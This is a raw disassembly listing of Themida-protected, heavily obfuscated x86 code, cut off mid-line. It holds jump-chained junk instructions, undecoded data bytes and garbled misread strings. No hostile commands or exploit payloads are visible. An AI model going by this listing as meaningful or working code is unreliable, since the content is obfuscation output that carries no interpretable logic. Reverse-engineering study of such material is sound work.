0FE08E8C0h, 0F58851C8h, 8EE9C688h, 8B00002Eh, 0C4812434h dd 4, 0FFDA1EE9h, 0B25259FFh, 0B1F28001h, 0C05AD008h, 753408E0h dd 0E958C508h, 0FFFFF390h, 8B24048Fh, 0F662424h, 9C2404B3h dd 0FFA3E2E9h, 610168FFh, 815946DBh, 7A00D7C1h, 0BFBFE900h dd 2489FFFFh, 0E3D7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559156: ; CODE XREF: Themida_:005578D5j push esi mov esi, 2B8C51B0h jmp loc_55D741 ; --------------------------------------------------------------------------- db 52h, 0B2h, 6Eh dd 0FE05EAC0h, 7EAC0CAh, 6387E9h, 0F5EA8100h, 0E9179700h dd 0FFFFB708h, 81242C8Bh, 4C4h, 0A395E900h, 0E95CFFFFh dd 4F1Fh ; --------------------------------------------------------------------------- loc_559190: ; CODE XREF: Themida_:0055CCF0j xor edi, esi jmp loc_55C4FB ; --------------------------------------------------------------------------- byte_559197 db 0FFh ; DATA XREF: Themida_:00553250o dd 0C8B2434h, 5F545724h, 4B951h, 0CF010000h, 81240C8Bh dd 4C4h, 4C78300h, 8B243C87h, 0E6E92424h, 8900004Eh, 58E9240Ch dd 53FFFFA3h, 375862BBh, 0EB81434Bh, 0F15A0866h, 0FFF866E9h dd 66592CFFh, 288DB353h, 595B66D8h, 2D3C6866h, 240C8966h dd 30CA68h, 241C8900h, 0CF80BDB7h, 80C7FE37h, 0EFC01EF7h dd 1B65208h, 525AF728h, 88F4B050h, 0F72858C6h, 0B551505Ah dd 4307E98Eh, 0E95B0000h, 0FFFFA7F6h, 4C381h, 0C3830000h dd 241C8704h, 468525Ch, 0E9000000h, 0FFFFE15Bh ; --------------------------------------------------------------------------- loc_559238: ; CODE XREF: Themida_:0055BE07j add ebx, 4 add ebx, 4 jmp loc_55F7BD ; --------------------------------------------------------------------------- loc_559246: ; CODE XREF: Themida_:00558EFDj pop ebp push edx mov edx, 4 add ebp, edx jmp loc_55F746 ; --------------------------------------------------------------------------- dd 8A4A9A2Dh, 5D02951h, 518A4A9Ah, 17DE055Ah, 6DE914EFh dd 0BD000016h, 4, 0F42CE952h, 0BF57FFFFh, 4, 875FFA29h dd 0E95C2414h, 0FFFFD4A1h, 0C381E389h, 4, 4C381h, 1C870000h dd 0DF06E924h, 0EC83FFFFh, 24048904h, 4B8h, 58C50100h dd 6802ED83h, 6D42h, 0E9242C89h, 0FFFFC515h ; --------------------------------------------------------------------------- loc_5592BC: ; CODE XREF: Themida_:005582F1j xor ebp, [esp] pop esp mov [esp], eax sub esp, 4 jmp loc_5589DE ; --------------------------------------------------------------------------- loc_5592CE: ; CODE XREF: Themida_:0055F728j add esi, 4 add esi, 4 jmp loc_55F4EF ; --------------------------------------------------------------------------- loc_5592DC: ; CODE XREF: Themida_:0055A743j add [esp+8], edx pop edx pop edi push dword ptr [esp] pop eax push ecx push esp pop ecx jmp loc_556AC3 ; --------------------------------------------------------------------------- dw 3C87h dd 2C895C24h, 2474FF24h, 48F5D04h, 24248B24h, 24148B66h dd 0FFCBE2E9h, 98E952FFh, 5BFFFFF7h, 522968h, 242C8900h dd 7C11BF57h, 66E92D6Eh, 3100004Bh, 0C33240Ch, 4895C24h dd 0E9E08924h, 6680h, 7C9EED81h, 0E8014DB8h, 4E8835Dh dd 5C240487h, 55240C89h, 525C3FBDh, 0BB535718h, 2BB56CCFh dd 16CFC5BFh, 5BDF292Ch, 3C8BFD31h, 4C48324h, 295DE989h dd 2434FFC8h, 4C48359h, 0FFDFDCE9h, 59C800FFh, 0FE58C528h dd 13F580C5h, 0E9B8ED80h, 0EFAh ; --------------------------------------------------------------------------- loc_559388: ; CODE XREF: Themida_:0055D34Dj push 1E59h mov [esp], eax jmp loc_55EBB4 ; --------------------------------------------------------------------------- db 5, 92h, 24h dd 8B2D6B88h, 8B580118h, 0F6E9242Ch db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5593A7: ; CODE XREF: Themida_:0055D56Ej dec word ptr [esp] pushf jmp loc_55351F ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4835Fh, 2C181h, 0C330000h, 240C3124h, 8B240C33h, 0F7662424h dd 4EC83F9h, 0FFAEF8E9h, 80CEFEFFh, 33E952C6h, 0BAFFFFBCh dd 107A18D4h, 0BCE9D001h, 5B00002Fh, 0E828DB2Ch, 57A2E9h db 0 ; --------------------------------------------------------------------------- loc_5593F5: ; CODE XREF: Themida_:00557FF2j push 6CB6h mov [esp], eax push 2495h mov [esp], esp sub esp, 4 mov [esp], edi mov edi, 4 add [esp+4], edi pop edi pop eax add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] add eax, 1B455BF8h jmp loc_55E342 ; --------------------------------------------------------------------------- db 5Fh dd 31241C33h, 1C33241Ch, 6779E924h, 0E8010000h, 0A73EE95Dh dd 0D701FFFFh, 2C7815Ah, 33000000h, 1CE9243Ch, 0F6000030h dd 29B050DDh, 0FFF6A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_559469: ; CODE XREF: Themida_:005548F8j add ebx, edx jmp loc_55D7DE ; --------------------------------------------------------------------------- aXa db 'X€ÃÁ',0 aAiPs2 db 'ÀëÁPéµ2',0 db 0 byte_55947F db 0ACh ; DATA XREF: Themida_:00553298o dd 92E90B04h db 0E6h, 2 dup(0FFh) byte_559487 db 83h ; DATA XREF: Themida_:0055338Co dd 148904ECh, 0EC815024h, 4, 0BF243C89h, 27235F8Dh, 107DEF81h dd 92E9F534h, 5F00003Fh, 5FF6E9h db 0 ; --------------------------------------------------------------------------- loc_5594AD: ; CODE XREF: Themida_:0055ABB4j add edi, eax pop eax push edx mov edx, 542D5347h xor edx, 5FC96800h sub edx, 0BE43B43h add edi, edx pop edx xchg edi, [esp] pop esp push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push edi jmp loc_55BCFB ; --------------------------------------------------------------------------- word_5594D6 dw 8B66h ; DATA XREF: Themida_:005533B4o dd 0EC812404h, 4, 89240489h, 0FDBB53E0h, 0E95C4546h, 4122h ; --------------------------------------------------------------------------- loc_5594F0: ; CODE XREF: Themida_:00557DE2j mov [esp], ecx push eax jmp loc_555F7D ; --------------------------------------------------------------------------- loc_5594F9: ; CODE XREF: Themida_:00556F8Aj pop ebp add esp, 4 inc edi push ebx mov ebx, 5AFB40DAh jmp loc_553EDF ; --------------------------------------------------------------------------- byte_559509 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:00553260o dd 199BE9h, 5AD10100h, 108AE9h, 7F0E6800h, 4890000h, 0F7BE5624h dd 0E956150Eh, 0FFFFD6E6h, 0E9CE8852h, 0FFFFEB98h, 34FFD801h dd 0C4835B24h, 46D2E904h, 0D1010000h, 4E9835Ah, 5C240C87h dd 53CAE9h db 0 ; --------------------------------------------------------------------------- loc_559551: ; CODE XREF: Themida_:0055373Ej sub ebx, 77B81706h sub ebx, eax add ebx, 77B81706h push esi jmp loc_55FBC7 ; --------------------------------------------------------------------------- loc_559565: ; CODE XREF: Themida_:005573FBj pop ecx jmp loc_55CF3C ; --------------------------------------------------------------------------- db 80h dd 90E904CFh db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559573: ; CODE XREF: Themida_:00557460j mov ecx, [esp] push edx jmp loc_55C30A ; --------------------------------------------------------------------------- dd 4245C01h, 0FFC635E9h, 240481FFh, 4, 4C3815Bh, 52000000h dd 2BAh, 0F7C38100h, 2921BB79h, 0F7EB81D3h, 0E921BB79h dd 0FFFFD4CCh, 1D4BC181h, 0C801B51Dh, 0E16EE959h, 5E54FFFFh dd 4C681h, 0C6830000h, 24348704h, 4ED835Ch, 0E9242C33h dd 7EDh ; --------------------------------------------------------------------------- loc_5595D4: ; CODE XREF: Themida_:0055C214j add ebx, 4 jmp loc_558CDA ; --------------------------------------------------------------------------- db 33h dd 248B243Ch, 66F9F624h, 66CCB60Fh, 6634FA68h, 0E9240C89h dd 0FFFFA8DBh ; --------------------------------------------------------------------------- loc_5595F8: ; CODE XREF: Themida_:00557D66j pop ebp sub eax, 682A6C97h xor eax, 31536340h neg eax sub esp, 4 mov [esp], ebp push esi push 7D4E7291h jmp loc_5565A8 ; --------------------------------------------------------------------------- loc_559619: ; CODE XREF: Themida_:005559ADj xor ebp, eax jmp loc_55A157 ; --------------------------------------------------------------------------- aFxais db 'fX€ë˜',0 dw 5BD8h dd 0E9505266h, 255h dword_559630 dd 0E9E18951h, 0FFFFEC87h, 5D5DC281h, 0DA0122A4h, 5D5DEA81h ; DATA XREF: Themida_:0055326Co dd 0F9E922A4h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_55964B: ; CODE XREF: Themida_:00558999j add bl, al pop eax movzx eax, al jmp loc_555D3E ; --------------------------------------------------------------------------- dw 0C581h dd 16CE2B9Dh, 596FE9h db 0 ; --------------------------------------------------------------------------- loc_559661: ; CODE XREF: Themida_:0055BF90j mov ebp, esp jmp loc_557445 ; --------------------------------------------------------------------------- loc_559668: ; CODE XREF: Themida_:0055D0ADj mov ecx, 0 jmp loc_55E836 ; --------------------------------------------------------------------------- loc_559672: ; CODE XREF: Themida_:005558CFj add esi, 4 jmp loc_557FA0 ; --------------------------------------------------------------------------- db 81h, 0F5h, 0D7h dd 81922947h, 6104E0EBh, 4F1DE918h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55968E: ; CODE XREF: Themida_:0055630Dj push eax mov eax, 4 add ebp, eax pop eax add ebp, 4 jmp loc_55FBD4 ; --------------------------------------------------------------------------- loc_55969F: ; CODE XREF: Themida_:loc_5569BFj xor [esp], edx push edx mov edx, esp sub esp, 4 mov [esp], ecx mov ecx, 73582E6Bh dec ecx sub ecx, 73652DB7h jmp loc_55722C ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 3CD36624h, 50E99C24h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5596CF: ; CODE XREF: Themida_:0055FC05j sub ebp, 0A96FA722h xor esi, ebp pop ebp push ebp mov ebp, 3B1F6FB7h and esi, ebp pop ebp jmp loc_55603F ; --------------------------------------------------------------------------- loc_5596E6: ; CODE XREF: Themida_:0055E77Ej push edi mov edi, 176C04A5h xchg ecx, edi not ecx xchg ecx, edi jmp loc_55C664 ; --------------------------------------------------------------------------- loc_5596F7: ; CODE XREF: Themida_:00555958j pop esp mov [esp], dx jmp loc_55CF35 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 6496858h, 0CAE90000h, 400000Ah, 0E9D028FCh dd 60D2h, 0E99C5066h, 0FFFF9DFBh, 7AF4CE81h, 0C6813B72h dd 84048406h, 1B9DE9h, 24043300h, 0C124E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55973E: ; CODE XREF: Themida_:00557233j shl ecx, 6 jmp loc_558459 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 0E9000000h, 578Fh, 0DA5C681h, 0E1E90999h dd 5E000051h, 53231F2Dh, 5F80137h, 3753231Fh, 0FFE169E9h dd 81CE01FFh, 67558AC6h, 0BBEE8113h, 59162C5Eh, 0FFD5A0E9h dd 0CE015BFFh, 0BCE95159h, 52FFFFB5h, 0FFE0BDE9h, 1C7709FFh dd 127AE9h db 0 ; --------------------------------------------------------------------------- loc_55979D: ; CODE XREF: Themida_:0055C27Aj pop esp jmp loc_5549A7 ; --------------------------------------------------------------------------- db 0BAh dd 3187327Dh, 148BD089h, 4C48324h, 958C531h, 0BF575DEAh dd 6F063EFDh, 413BE9h db 0 ; --------------------------------------------------------------------------- loc_5597C1: ; CODE XREF: Themida_:005553E5j sub esp, 4 mov [esp], esi push 2CD4h mov [esp], ecx mov ecx, 2673099h not ecx push 844h mov [esp], esi mov esi, 0E8548A5h add esi, 4E070A2Ah dec esi push ecx mov ecx, 25FB0821h and ecx, 742675F7h and ecx, 2B7610CDh shr ecx, 6 shl ecx, 8 inc ecx add ecx, 83A463A4h xor esi, ecx pop ecx add esi, 0A4F88DFBh sub ecx, esi jmp loc_55865C ; --------------------------------------------------------------------------- loc_559819: ; CODE XREF: Themida_:0055F331j push ecx jmp loc_555294 ; --------------------------------------------------------------------------- db 81h dd 0D6671AF6h, 5EF329D9h, 0C0E9F329h, 56FFFFAFh, 0FFBA2BE9h dd 2474FFFFh, 48F5A04h, 424EE924h, 814A0000h, 0C208CFF2h dd 3BF575Dh, 4F386B49h, 37E94F4Fh db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559857: ; CODE XREF: Themida_:00556949j mov ebx, 682F2B4Ch xor ebx, ebp pop ebp sub ebx, 1B3E6033h push ecx jmp loc_5544BA ; --------------------------------------------------------------------------- db 83h dd 348704C6h, 3C335C24h, 0F7D9E924h, 0F281FFFFh, 431564AFh dd 0FFB229E9h, 662FB4FFh, 88AFB151h, 805966CEh, 0A7E9C8EEh dd 29FFFFB9h, 0BB04E9FEh, 0EBC1FFFFh, 71C38108h, 895E003Fh dd 0E1815BD9h, 774C079Bh, 29E0F181h, 0BF57308Ch, 3EA17E2Bh dd 7BAEC781h, 0D7F76644h, 616CE9h, 24048900h, 0BD555854h dd 4, 0FFBED7E9h, 0B9515BFFh, 0CB640E6h, 53C5E9h db 0 ; --------------------------------------------------------------------------- loc_5598E5: ; CODE XREF: Themida_:00557C48j mov eax, esp add eax, 4 jmp loc_55A810 ; --------------------------------------------------------------------------- loc_5598F1: ; CODE XREF: Themida_:00558CD5j push ebp mov ebp, 0B4D7882h inc ebp add ebp, 32B2DEE7h xor edi, ebp pop ebp push 0 add dword ptr [esp], 79990E99h sub [esp], edi sub dword ptr [esp], 79990E99h pop edi jmp loc_55C02F ; --------------------------------------------------------------------------- db 55h, 0BDh, 0E9h dd 457EE711h, 0FFD794E9h, 0C3E95CFFh db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55992F: ; CODE XREF: Themida_:00556B8Ej add eax, esi pop esi jmp loc_555952 ; --------------------------------------------------------------------------- db 50h dd 0A64F99B8h, 0E9D0F70Dh, 0FFFFB76Eh, 4EC835Bh, 0FF241489h dd 5A042474h, 8B24048Fh, 0BD552424h, 6FA76ACh, 215FED81h dd 0BF5717E5h, 10EAACB3h, 36F6C581h, 0FD0123C2h, 4EC8156h dd 89000000h, 19BD242Ch, 81786F3Dh, 0F96BC3CDh, 0BEE58100h dd 815C3D53h, 981845C5h, 5DEE89B7h, 1B4E9h db 0 byte_559999 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005533F0o dd 0A59FE924h, 0E953FFFFh, 0FFFFF109h, 123F1B2Dh, 5E80106h dd 6123F1Bh, 51D8015Dh, 504AE952h db 2 dup(0) word_5599BE dw 3431h ; DATA XREF: Themida_:00553490o dd 6F5E924h, 0CF010000h, 8EFC159h, 1156E9h, 4E98100h, 33000000h dd 44E9240Ch db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5599DF: ; CODE XREF: Themida_:00557CEBj sub edx, 0D8C9BDC3h jmp loc_55E2A4 ; --------------------------------------------------------------------------- loc_5599EA: ; CODE XREF: Themida_:0055449Cj xor ecx, 8BF200h add ebp, ecx pop ecx jmp loc_55D792 ; --------------------------------------------------------------------------- dd 67F5805Bh, 1DB15150h, 0FE04E9C0h, 2E1C0C1h, 0C086F180h dd 0C18008E9h, 0E9C8886Ch, 0FFFFF6FDh, 4C681h, 0E8E90000h dd 0E9FFFF9Fh, 0FFFF9AF7h ; --------------------------------------------------------------------------- loc_559A28: ; CODE XREF: Themida_:00554ED3j pop edx jmp loc_55A440 ; --------------------------------------------------------------------------- dw 0B753h dd 5BFD304Dh, 0FFDBDDE9h db 0FFh ; --------------------------------------------------------------------------- loc_559A39: ; CODE XREF: Themida_:00556686j ; Themida_:00558FB7j ... push dword ptr [esp] pop ebx push edi sub esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_5556B1 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 0FFB981E9h db 0FFh ; --------------------------------------------------------------------------- loc_559A69: ; CODE XREF: Themida_:005560ABj shr ebx, 7 xor ebx, 0ED47FE1h xor eax, ebx pop ebx sub eax, 0AED4FC5Ah jmp loc_556914 ; --------------------------------------------------------------------------- db 0FEh dd 80D9F6C1h, 8953A9F1h, 4C381E3h, 83000000h, 1C8704EBh dd 0FE8FE924h, 0F74FFFFFh, 4627E9D7h db 2 dup(0) word_559AA2 dw 8B66h ; DATA XREF: Themida_:00553458o dd 0EC832404h, 240C8904h, 0E904EC83h, 0FFFF9B9Dh, 555FF801h dd 750D4EBDh, 4EE58162h, 456EC750h, 5CB3CD81h, 0BA521B55h dd 7B555CFBh, 4489E9h, 1E660500h, 525661EDh, 2801E2BAh dd 4145E967h, 0C3810000h, 4, 773A68h, 243C8900h, 8F685156h dd 590EAB7Bh, 0FFD9FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_559B01: ; CODE XREF: Themida_:0055F84Aj push edi push eax pop edi pop eax inc eax xor edi, eax jmp loc_555120 ; --------------------------------------------------------------------------- db 0BBh, 2, 0 dd 0E7E90000h, 42000014h, 3238BE56h, 0E6816A6Ch, 22D36690h dd 25EDF681h, 0F229727Fh, 8EAC15Eh, 814ADAF7h, 53F33FC2h dd 0F8E95204h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559B3F: ; CODE XREF: Themida_:0055AE7Bj mov [esp], esi jmp loc_554165 ; --------------------------------------------------------------------------- db 53h dd 0FFAF70E9h, 0E9E6D1FFh, 2C5Bh, 4C681h, 34870000h, 82685C24h dd 0E900000Ch, 0FFFFCD87h aN1H db '1ØhÙ<',0 ; DATA XREF: Themida_:005532C4o align 10h dd 1C22E9h, 815A5400h, 4C2h, 0B8CBE900h, 0EFC0FFFFh, 7E7C004h dd 0E9C3EF80h, 1B44h ; --------------------------------------------------------------------------- loc_559B90: ; CODE XREF: Themida_:00554C7Ej xor [esp], edx xor edx, [esp] mov esp, [esp] push ecx push ebx mov ebx, 3826707Bh dec ebx jmp loc_557CA7 ; --------------------------------------------------------------------------- dw 0B850h dd 1B1F5076h, 1F504ABAh, 58C2311Bh, 0B9B6E953h, 0E9C1FFFFh dd 0C811E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559BC2: ; CODE XREF: Themida_:00556279j shr ecx, 8 neg ecx add ecx, 7CBB37F1h jmp loc_5583D4 ; --------------------------------------------------------------------------- aSc? db ']é–?',0 align 4 dword_559BD8 dd 240C8B66h, 0F2768h, 24348900h, 0AFE9E689h ; DATA XREF: Themida_:005534D4o db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559BEB: ; CODE XREF: Themida_:0055E4EBj mov [esp], ecx jmp loc_5537C6 ; --------------------------------------------------------------------------- loc_559BF3: ; CODE XREF: Themida_:0055865Fj add esp, 4 push ebp mov ebp, ecx push ebp pop esi pop ebp jmp loc_55DF06 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 415h, 4C781h, 0C7810000h, 4, 5C243C87h dd 808AEF80h, 0CF805BC7h, 0FF58E923h, 2C8BFFFFh, 4C48324h dd 5F2434FFh, 4C481h, 0DDE90000h, 0BD000031h, 478301CBh dd 58E95250h, 8BFFFFFBh, 0C483240Ch, 91B75304h, 50FFEF80h dd 0F6E8B652h, 80DEF6DEh, 0C6FED5F6h, 0F680DEF6h, 8BF4881Fh dd 0C4812414h, 4, 48BE730h, 4C48124h, 0E9000000h, 0FFFFF148h dword_559C84 dd 4EC81h, 90680000h, 8900000Ah, 4832424h, 48F0424h, 4EC8124h ; DATA XREF: Themida_:0055342Co dd 0E9000000h, 27A8h ; --------------------------------------------------------------------------- loc_559CA4: ; CODE XREF: Themida_:0055CF8Dj add esp, 4 pop esi xor ebp, 1A5A418h and eax, ebp mov ebp, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp] jmp loc_555DD0 ; --------------------------------------------------------------------------- loc_559CC7: ; CODE XREF: Themida_:0055838Bj shr ebp, 6 push edx mov edx, 0FF74FE4Ah jmp loc_556499 ; --------------------------------------------------------------------------- loc_559CD5: ; CODE XREF: Themida_:0055B0CCj mov edx, edi mov edi, [esp] add esp, 4 add ebp, edx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx jmp loc_55D0EF ; --------------------------------------------------------------------------- byte_559CF9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005532C0o dd 0EC41E924h, 0EB80FFFFh, 80C300B4h, 5066B4C3h, 0E328F4B4h dd 50665866h, 0E32806B4h, 13E2E9h db 0 ; --------------------------------------------------------------------------- loc_559D1D: ; CODE XREF: Themida_:00557CD7j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_557F74 ; --------------------------------------------------------------------------- loc_559D33: ; CODE XREF: Themida_:0055A314j pop ecx push ebp mov ebp, 455669D8h sub esp, 4 mov [esp], esi mov esi, 3E6203EFh or esi, 5CEB572Fh add esi, 1 add esi, 49004BBAh push edi jmp loc_55DC81 ; --------------------------------------------------------------------------- byte_559D5D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00553294o aWsfs db '$Wé”S',0 db 0 ; --------------------------------------------------------------------------- loc_559D67: ; CODE XREF: Themida_:0055C72Fj add ebx, 98080B0Ah add edi, ebx pop ebx push eax mov eax, edi mov ebp, eax pop eax pop edi add edx, ebp jmp loc_558E1F ; --------------------------------------------------------------------------- dw 0F668h dd 89000023h, 89572414h, 4C781E7h, 81000000h, 4EFh, 243C8700h dd 48F545Ch, 24048124h, 4, 4C2815Ah, 53000000h, 2279BA52h dd 0F74212BFh, 0F2814AD2h, 0EF17A465h, 2525E9h, 242C3100h dd 8B242C33h, 14892424h, 0E99C5024h, 2D82h, 246C8166h dd 66372602h, 2244481h, 0A1E913CFh, 0C0FFFFAEh, 5EE903E9h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559DEF: ; CODE XREF: Themida_:00554611j add edx, 4 sub esp, 4 mov [esp], ecx mov ecx, 2 add edx, 181C6F30h sub edx, ecx sub edx, 181C6F30h jmp loc_55627E ; --------------------------------------------------------------------------- db 59h dd 4C481h, 0C3830000h, 241C8702h, 15EDE9h, 1FE95700h, 0BF000023h dd 36DE09ADh, 8247C29h, 0E4E9595Fh, 66FFFF96h, 0DCE930FFh dd 89FFFF96h, 0AA56E9E3h, 0F329FFFFh, 24348B5Eh, 5641E9h db 0 ; --------------------------------------------------------------------------- loc_559E55: ; CODE XREF: Themida_:0055E848j pop dword ptr [ebx] jmp loc_55F9CB ; --------------------------------------------------------------------------- aZSk db '‡,$éŠ\',0 align 4 loc_559E64: ; CODE XREF: Themida_:00554357j xor ebp, 0CD9677D0h jmp loc_557759 ; --------------------------------------------------------------------------- db 58h dd 0FFEBAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_559E75: ; CODE XREF: Themida_:00557FD1j push ecx mov ecx, 217D7F03h mov eax, 0EB06C24Dh add eax, ecx pop ecx shl eax, 2 and eax, 11C16803h inc eax add eax, 102860F1h xor eax, 202960F6h mov esi, eax pop eax add ebp, 4076A96h sub ebp, esi push ecx mov ecx, 6170017Fh not ecx neg ecx xor ecx, 5B26151Fh shl ecx, 1 xor ecx, 70AB43A8h jmp loc_556343 ; --------------------------------------------------------------------------- loc_559EBE: ; CODE XREF: Themida_:005552C5j xor ebp, 44894FE2h add ecx, ebp pop ebp mov edi, ecx pop ecx sub dword ptr [esp+4], 2F312104h add dword ptr [esp+4], 504052D9h add [esp+4], edi sub dword ptr [esp+4], 504052D9h add dword ptr [esp+4], 2F312104h pop edi pop ecx sub esp, 4 jmp loc_556B68 ; --------------------------------------------------------------------------- dword_559EF8 dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFF9617h ; DATA XREF: Themida_:00553374o ; --------------------------------------------------------------------------- loc_559F08: ; CODE XREF: Themida_:0055A169j xchg ebx, [esp] pop esp add ebx, 66C521D7h jmp loc_55DEA6 ; --------------------------------------------------------------------------- db 66h dd 661A92B8h, 6244429h, 8B665866h, 0C4832414h, 0E9596602h dd 0FFFF95EFh, 5C243C87h, 3E58E9h db 0 byte_559F39 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005533B0o aXhH db 'XhšH',0 align 2 dw 3C89h dd 555F5424h, 431FBE56h, 0F5897BE6h, 0CCD815Eh, 811AC92Fh dd 0A35DCBF5h, 30C58154h, 81D0B3CDh, 44A96C7h, 81EF017Ch dd 44A96EFh, 55565D7Ch, 4BDh, 0B1D8E900h, 0CD80FFFFh, 0A8CD80ACh dd 809EED80h, 0EDC078F5h, 80DDF607h, 0B353F1C5h, 8CB8077h dd 8008F380h, 5166ACCBh, 15E931B1h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559FA7: ; CODE XREF: Themida_:0055E4DDj mov [esp], edi mov edi, 0B4C6651Eh add ebx, edi pop edi sub eax, ebx mov ebx, [esp] add esp, 4 push ecx push eax mov eax, 15A27FF4h add eax, 0EF369179h mov ecx, eax pop eax and ecx, 38F45342h push esi mov esi, 7AF769F0h sub esi, 0C7AEE984h sub ecx, esi pop esi xor eax, ecx push dword ptr [esp] pop ecx push ebx mov ebx, esp push eax mov eax, 3F431FAFh dec eax shl eax, 7 push ebx push ecx jmp loc_553DEB ; --------------------------------------------------------------------------- db 53h dd 8904EC83h, 19E92404h db 0ADh, 2 dup(0FFh) byte_55A007 db 66h ; DATA XREF: Themida_:005533D0o dd 0E924248Bh, 0FFFF950Fh dword_55A010 dd 8B2434FFh, 37E9240Ch, 5A000033h, 0FFE044E9h, 0D5EA81FFh ; DATA XREF: Themida_:00553448o dd 0E9047942h, 0FFFF94F3h, 0E974045Ah, 4D79h, 0EC83D831h dd 243C8904h, 0A70F44BFh db 7Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx mov ecx, [esp] jmp loc_555CA7 ; --------------------------------------------------------------------------- dw 0FF5Dh dd 0BE561C77h, 7D674C2Ch, 4247401h, 240C8B5Eh, 81E78957h dd 4C7h, 4EF8300h, 175AE9h, 80E62800h, 0EC81B0C6h, 4, 0FFD9F5E9h dd 4C681FFh, 81000000h, 4C6h, 70A06800h, 34890000h, 2474FF24h dd 48F5E04h, 24248B24h, 0FFB375E9h, 80C328FFh, 4DE9A8EBh dd 33000032h, 34312434h, 0C611E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A0C6: ; CODE XREF: Themida_:0055691Dj push ebx jmp loc_556208 ; --------------------------------------------------------------------------- loc_55A0CC: ; CODE XREF: Themida_:0055E321j pop ebx jmp loc_555F08 ; --------------------------------------------------------------------------- a31Sbu db '3<$1<$é¡U',0 dd 943DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A0E2: ; CODE XREF: Themida_:005561E7j xchg ecx, [esp] pop esp shr eax, 8 xor eax, ecx push eax xor [esp], ebp xor ebp, [esp] xor [esp], ebp push ebp xor [esp], edi jmp loc_55F64F ; --------------------------------------------------------------------------- dw 0FE01h dd 1C06EE81h, 875F2B2Dh, 248B2434h, 243CD224h, 9409E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A116: ; CODE XREF: Themida_:0055F9F8j add ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] push edi mov edi, esp jmp loc_55ABAE ; --------------------------------------------------------------------------- byte_55A127 db 66h ; DATA XREF: Themida_:005534B0o dd 57240C8Bh, 9EE9E789h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A133: ; CODE XREF: Themida_:0055CA01j pop esi sub esi, 0EFEFF66Ch jmp loc_55C71C ; --------------------------------------------------------------------------- align 10h dd 3EE95BDDh db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A147: ; CODE XREF: Themida_:005541BCj mov [esp], eax jmp loc_55E5B2 ; --------------------------------------------------------------------------- db 33h dd 0B1E9242Ch db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A157: ; CODE XREF: Themida_:0055961Bj pop eax and ebx, ebp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_559F08 ; --------------------------------------------------------------------------- loc_55A16E: ; CODE XREF: Themida_:0055F158j push edx push esp jmp loc_5540A7 ; --------------------------------------------------------------------------- loc_55A175: ; CODE XREF: Themida_:0055B6ADj push edx jmp loc_55D52C ; --------------------------------------------------------------------------- db 81h dd 4C7h, 2C78300h, 31243C33h, 3C33243Ch, 8B665C24h, 5152240Ch dd 0C181E189h, 4, 8704E983h, 0E95C240Ch, 0FFFFE4BCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 5D9E3986h push eax mov eax, 202A73C0h xor edi, eax pop eax xor edi, 7DB44A42h add ebp, edi pop edi add ebp, 4 jmp loc_555FF4 ; --------------------------------------------------------------------------- loc_55A1CB: ; CODE XREF: Themida_:0055C705j pop ebx mov eax, esi mov esi, [esp] jmp loc_55406C ; --------------------------------------------------------------------------- aIcscr db '‰çéæR',0 dd 24148900h, 4BAh, 5AD00100h, 355BE9h, 24148900h, 0FFF9B1E9h dd 588AB9FFh, 0E9C14D33h, 2CE98103h, 876EB54Ah, 87D6F7F1h dd 595651F1h, 9449E95Eh, 0E580FFFFh, 4AE977h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A21A: ; CODE XREF: Themida_:0055D4F1j add ebp, 76FD7F09h pop eax not ebp inc ebp push ebx jmp loc_553A8D ; --------------------------------------------------------------------------- dw 0F0E9h dd 87FFFF92h, 0E9240Ch, 5C000000h, 4C781h, 